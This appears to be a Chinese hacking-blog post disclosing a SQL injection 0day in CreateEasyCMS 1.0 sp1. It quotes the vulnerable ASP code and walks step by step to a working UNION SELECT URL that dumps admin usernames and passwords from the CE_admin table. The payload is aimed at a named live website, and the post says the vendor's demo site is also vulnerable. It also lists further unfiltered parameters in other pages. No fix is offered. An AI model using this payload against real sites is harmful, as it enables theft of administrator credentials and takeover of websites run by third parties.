转载请保留以下信息,看cms是很累人的,尊重一下别人的劳动成果。
んㄗ葑訫鎖愛'S Blog
http://www.virusest.com
创易网站管理系统CreateEasyCMS 0day
影响版本 1.0 sp1
存在问题的文件User\User_ChkInfo.asp 看这几句代码:
Sub ChkMain()
Dim Title,rsCheck,SQLCheck,SQLCheck2,SQLCheck3
Title=Trim(request("TitleName"))
ChannelID=CE.ChkClng(request("ChannelID"))
CE.GetChannelSetting(ChannelID)
CE.GetModuleSetting(CE.Channel_Setting(20))
SQLCheck="Select Top 20 InfoID,Title From CE_Info Where ChannelID="&ChannelID&" and Title like '%"&Title&"%'"
SQLCheck2="Select Top 20 InfoID,Title,Keyword From CE_Info Where ChannelID="&ChannelID&" and Keyword like '%"&Title&"%'"
看这句Title=Trim(request("TitleName"))将TitleName的值未作处理交给Title,并且后面带入数据库查询,我们就在这注入。熟悉搜索型注入的朋友应该能看出来,这是一个类似于搜索型的查询语句Select Top 20 InfoID,Title From CE_Info Where ChannelID="&ChannelID&" and Title like '%"&Title&"%'"
但是在用户后台未找到这个页面的提交表单,这里我们把post型注入转化成get型注入,根据程序信息,我们需要指定一个ChannelID(经测试1-5有效),和一个titlename,构造URL:http://www.clasic365.com.cn/User/User_ChkInfo.asp?ChannelID=4&titlename=%B7%E2 其中%B7%E2是汉字 封 的URL编码,这里要用一个网站存在的关键字,下来是构造查询语句,
%'union select top 20 1,2 from CE_admin where '%'=' ,这里搜索型注入的语句大家熟悉%' and 1=2 and '%'=',但是这是post提交的的,我们这现在要get提交,把后一个and要改成where,综合起来的语句是http://www.clasic365.com.cn/User/User_ChkInfo.asp?ChannelID=4&titlename=%B7%E2%'union select top 20 1,2 from CE_admin where '%'=',但是 在提交这样的查询语句时还是出问题,什么也查不到,后来想了一会,把这里'%'='里的%改成%25,即%的URL编码,再提交,成功查询到数据。最后给出注入语句http://www.clasic365.com.cn/User/User_ChkInfo.asp?ChannelID=4&titlename=%B7%E2%'union%20select%20top%2020%201,username%2bpassword%20from%20CE_admin%20where%20'%25'=',前提是要注册一个用户登录。对官方给的演示站测试也存在此漏洞。
最后,还有几个鸡肋的,像爆网站根目录,User_UserCz.asp页面的CzUser未过滤,chkstr那个函数没用,User_Friend.asp页面的SetPass(),SetNoPass(),SetBlack(),SetNoBlackToFriend(),SetNoBlackToDel()等过程中的ID也未处理,但是利用率很低,系统对HTTP Referer检查很严格,毕竟人家是做CMS的